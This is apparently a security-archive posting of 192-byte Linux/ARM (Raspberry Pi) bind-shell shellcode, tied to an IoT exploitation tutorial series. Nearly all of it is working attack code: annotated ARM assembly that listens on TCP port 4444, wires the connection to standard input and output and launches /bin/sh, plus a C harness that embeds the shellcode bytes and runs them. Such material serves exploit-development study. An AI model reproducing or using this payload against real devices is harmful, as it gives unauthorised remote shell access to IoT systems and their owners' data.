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Linux/ARM (Raspberry Pi) Bindshell Shellcode

Linux/ARM (Raspberry Pi) Bindshell Shellcode
Posted Sep 10, 2017
Authored by Andrea Sindoni

192 bytes small Linux/ARM Raspberry Pi tcp port 4444 /bin/sh binding shellcode.

tags | tcp, shellcode
systems | linux
SHA-256 | 1a24f9b9ad167466d2026dc0a966677a2fe4340c7c09bec582671fcb93061fa5

Linux/ARM (Raspberry Pi) Bindshell Shellcode

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/*

##################################
# Andrea Sindoni - @invictus1306 #
##################################

This schellcode is part of my episodes:
- ARM exploitation for IoT - https://quequero.org/2017/07/arm-exploitation-iot-episode-2/

Enviroment: Raspberry pi 3

Default settings for port:4444

@.syntax unified
.global _start
_start:

mov r1, #0x5C @ r1=0x5c
mov r5, #0x11 @ r5=0x11
mov r1, r1, lsl #24 @ r1=0x5c000000
add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C) --- Please change me
add r1, #2 @ r1=0x5c110002 - sin_family+sin_port
sub r2, r2, r2 @ sin_addr
push {r1, r2} @ push into the stack r1 and r2
mov r1, sp @ save pointer to sockaddr_in struct
mov r2, #0x10 @ addrlen
mov r0, r6 @ mov sockfd into r0
ldr r7, =#282 @ bind syscall
swi 0

@ listen for incoming connections via SYS_LISTEN
@ int listen(int sockfd, int backlog);

mov r0, r6 @ mov sockfd into r0
mov r1, #1 @ backlog=1
ldr r7, =#284 @ listen syscall
swi 0

@ Accept connections
@ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)

mov r0, r6 @ mov sockfd into r0
sub r1, r1, r1 @ addr=0
sub r2, r2, r2 @ addrlen=0
ldr r7, =#285 @ accept syscall
swi 0

@ Redirect stdin, stdout and stderr via dup2

mov r1, #2 @ counter stdin(0), stdout(1) and stderr(2)
loop:
mov r7, #63 @ dup2 syscall
swi 0
sub r1, r1, #1 @ decrement counter
cmp r1, #-1 @ compare r1 with -1
bne loop @ if the result is not equal jmp to loop

@ int execve(const char *filename, char *const argv[],char *const envp[]);
mov r0, pc
add r0, #32
sub r2, r2, r2
push {r0, r2}
mov r1, sp
mov r7, #11
swi 0

_exit:
mov r0, #0
mov r7, #1
swi 0 @ exit(0)

.asciz "/bin/sh"

Assemble and link it:
as -o bind.o bind.s
ld -o bind bind.o
*/

#include <stdio.h>

char *code="\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\xa0\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x02\x20\x42\xe0\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x70\x70\x9f\xe5\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\xa0\xe3\x47\x7f\xa0\xe3\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\x41\xe0\x02\x20\x42\xe0\x50\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xfa\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\x1a\x01\x00\x00\x1d\x01\x00\x00";

int main(void) {

(*(void(*)()) code)();

return 0;

}


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